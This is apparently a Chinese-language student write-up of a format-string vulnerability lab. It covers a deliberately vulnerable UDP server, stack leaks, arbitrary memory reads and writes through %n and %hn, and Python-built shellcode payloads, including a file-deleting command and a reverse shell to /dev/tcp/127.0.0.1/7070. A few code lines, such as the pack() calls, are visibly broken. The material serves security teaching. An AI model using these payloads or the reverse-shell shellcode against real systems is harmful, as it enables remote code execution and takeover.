实验PDF链接
格式化字符串漏洞是一个经典的漏洞,也是Pwn里面一个基础吧。他是由于C语言中的printf
相关的函数导致的。printf
想必大家都已熟悉,对于下面这个语句:
printf("%d%d%d", a, b, c);
系统会将"%d%d%d"
和后面的a, b, c
三个int
变量一起压入栈中。在执行时,系统会扫描第一个字符串,统计其一共有多少个格式化字符串,然后向高地址依次读取,最后输出。在实践中,有时候会有人写出这样的代码:
s = gets();
printf(s);
这时,一旦我们输入%8x
,系统便会将字符串s
之上的栈中的内容打印出来。此外,printf
中还定义了一个不常用的%n
,可以对一个特定地址实现写入目前输出的字符数目的操作。这样便造成了严重的格式化字符串漏洞。
实验指导中给出了一个具有格式化字符串漏洞的程序:
#include
#include
#include
#include
#include
#include
#define PORT 9090
char *secret = "A secret message\n";
unsigned int target = 0x11223344;
void myprintf(char *msg){
printf("The address of the ’msg’ argument: 0x%.8x\n", (unsigned) &msg);
printf(msg);// This line has a format-string vulnerability
printf("The value of the ’target’ variable (after): 0x%.8x\n", target);
}
// This function provides some helpful information. It is meant to
// simplify the lab task. In practice, attackers need to figure
// out the information by themselves.
void helper(){
printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
printf("The address of the ’target’ variable: 0x%.8x\n",(unsigned) &target);
printf("The value of the ’target’ variable (before): 0x%.8x\n", target);
}
void main(){
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
char buf[1500];
helper();
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
perror("ERROR on binding");
while (1) {
bzero(buf, 1500);
recvfrom(sock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
myprintf(buf);
}
close(sock);
}
这个程序被执行时,会打开9090
作为socket端口接收UDP包,并将其中的内容打印出来,其第14行具有格式化字符串漏洞,可以为我们所用。
需要注意:
sudo sysctl -w kernel.randomize_va_space=0
关闭ASLR(Address Space Layout Randomization,地址空间随机化)gcc -z exestack -o server server.c
sudo su
进入root用户;否则,因为不同的uid会被分配不同的堆栈空间,在普通用户下的payload将无法在root之下被使用server端编译完成之后,在另一个terminal使用nc指令便可以进行交互,结果如下:
正如在Introduction里面提到的,通过输入大量的格式化字符串,我们可以轻而易举的了解堆栈的信息,我们可以使用python来构建一个payload:
python -c 'print "AAAA"+"%08X."*40' > input1
nc -u 127.0.0.1 9090 < input
然后,通过gdb可以快速发现返回地址的值,进而确定返回地址的地址。
首先,查看返回地址的值,通过gdb server
进入gdb
,然后直接通过disas main
:
不难看出返回地址为0x0804872d
因而可以尝试复原堆栈内容:
0 1 2 3 4 5 6 7 8 9 A B C D E F
0xBFFFEE10: ........ 0xBFFFEE70 0xB7F1C000 0x0804871B
0xBFFFEE20: 0x00000003 0xBFFFEEB0 0xBFFFF498 0x0804872D
0xBFFFEE30: 0xBFFFEEB0 0xBFFFEE88 0x00000010 0x0804864C
0xBFFFEE40: 0x05040400 0x1707070D 0x00000010 0x00000003
0xBFFFEE50: 0x82230002 0x00000000 0x00000000 0x00000000
0xBFFFEE60: 0x30EC0002 0x0100007F 0x00000000 0x00000000
0xBFFFEE70: 0x41414141 0x58383025 0x3830252E 0x30252E58
显而易见
0xBFFFEE70
)的地址是0xBFFFEE14
0x0804871B
)的地址:0xBFFFEE2C
0xBFFFEE70
0x5C
需要注意的是,这里最后不要通过gdb
查看栈,因为gdb
在执行中会向栈中压入一部分调试用信息,导致栈中内容与地址出现偏差
说老实话,虽然pwn我不会,但是把一个程序崩掉还不是轻车熟路(手动扇子脸)
一个可行的思路是直接篡改掉返回地址,可以通过%n
实现:
python -c 'print "\x2c\xee\xff\xbf%24$n"' > input2
nc -u 127.0.0.1 9090 < input2
因为是Little-Endian,所以前面的返回地址需要写作:\x2c\xee\xff\xbf
。%24$n
可以简单理解为程序会向前寻找到第24个参数写入已经输出的字节个数,在栈中寻找到第24个参数自然会找到我们输入的返回地址的值(注:0x5C / 0x4 + 1 = 0x18 = 24),因而可以将返回地址修改为4,这显然会导致segment fault:
同Task 3中使用的技巧类似,不过这次我们不使用%n
,而使用%8x
python -c 'print "AAAA%24$8x"' > input3
nc -u 127.0.0.1 9090 < input3
如果要读取的是一串字符串的话,那么只需要设定字符串地址,然后使用%s
便可以了,通过helper里面输出的信息,可以得到secret msg的地址为:0x080487c0
python -c 'print "\xc0\x87\x04\x08%24$s"' > input4
nc -u 127.0.0.1 9090 < input4
这里我们需要篡改的内存地址为0x0804a040
与Task 3类似,只需要构建:
python -c 'print "\x40\xa0\x04\x08%24$n"' > input5
nc -u 127.0.0.1 9090 < input5
因为这里我们需要定向修改,因此必须输出额外的字符作为填充。这里我们插入了%1276x
(1276 = 0x4FC = 0x500 - 0x4),程序会把输出的值强制扩展到1276位
python -c 'print "\x40\xa0\x04\x08%1276x%24$n"' > input6
nc -u 127.0.0.1 9090 < input6
这里需要有两点注意,第一点是:
%n
写入的话,那么需要提前输出数量巨大的字符,这会消耗非常多的时间,因而,如果我们希望改写一个地址,最好使用%hn
,他一次写入两个字节而非四个,此外还有%hhn
,一次写入一个字节于是,我们试图向0x0804a040
和0x0804a042
中分别写入0x0000
和0xFF99
,此时问题出现了
0x0000
和0x10000
的效果是一样的于是我们便可以构建我们的payload,首先放置我们的目标地址:
\x40\xa0\x04\x08\x42\xa0\x04\x08
此时我们已经输出了8个字符,为了达到0x10000个,我们还需要0x10000 - 0x8 = 0xFFF8 = 65528,之后向第二个地址写入,它还需要额外0x1FF99 = 0x10000 = 0xFF99 = 65433个额外输出
python -c 'print "\x40\xa0\x04\x08\x42\xa0\x04\x08%65528x%24$hn%65433x%25$hn"' > input7
nc -u 127.0.0.1 9090 < input7
上面已经给出了shellcode了,我们需要做的事情非常简单:
shellcode之前,可以添加适量的nop
(也就是0x90
),这样即便我们没有成功跳转到shellcode的起始地址,跳转到nop
上也可以顺利进入shellcode,提高我们的容错率。
顺带提一下,保证push后面的是四个字节的内容,不要手贱删空格,不然后面的指令就全错了。
因为可以需要添加较多的shellcode,我们可以写一个简单的python脚本来输出payload:
from struct import pack
shellcode = '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'
ret_addr_addr = 0xBFFFEE2C
target_addr = pack(', ret_addr_addr) + pack(', ret_addr_addr + 2)
nop_num = 0x100
shellcode_start_adr = 0xBFFFEE92 + nop_num
high_adr, low_adr = divmod(shellcode_start_adr, 0x10000)
fill_num_1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill_num_2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print(target_addr + '%' + str(fill_num_1) + 'x%24$hn%' + str(fill_num_2) + 'x%25$hn' + nop*nop_num + shellcode)
懒得创一个新的了,大家会意即可
反弹shell,同上面那个基本一致,不过需要多开一个terminal去listen7070端口接收shell。另,仔细审题可以发现需要拿root shell,如果你之前没root,这里临时sudo
了一下,然后用之前拿到的地址信息去pwn,拿会发现根本跳不到shellcode,只会正常的return
因为在这个里面我们要换一下shellcode里面的信息,这种机械的工作的肯定是要交给python的:
instruction = r'/bin/bash -i > /dev/tcp/127.0.0.1/7070 0<&1 2>&1'
instruction = instruction + len(instruction)%4 * ''
instruction_slide = []
push_inst = r'\x68'
for i in range(0, len(instruction)//4):
instruction_slide.append(instruction[4*i: 4*i+4])
instruction_slide.reverse()
for i in range(0, len(instruction_slide)):
print(push_inst+instruction_slide[i], end='')
然后更新我们的shellcode,生成新的payload:
from struct import pack
shellcode = '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'
ret_addr_addr = 0xBFFFEE2C
target_addr = pack(', ret_addr_addr) + pack(', ret_addr_addr + 2)
nop_num = 0x100
shellcode_start_adr = 0xBFFFEE92 + nop_num
high_adr, low_adr = divmod(shellcode_start_adr, 0x10000)
fill_num_1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill_num_2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print(target_addr + '%' + str(fill_num_1) + 'x%24$hn%' + str(fill_num_2) + 'x%25$hn' + nop*nop_num + shellcode)
非常简单,把printf(s)
换成printf("%s", s)
,即可消除格式化字符串漏洞。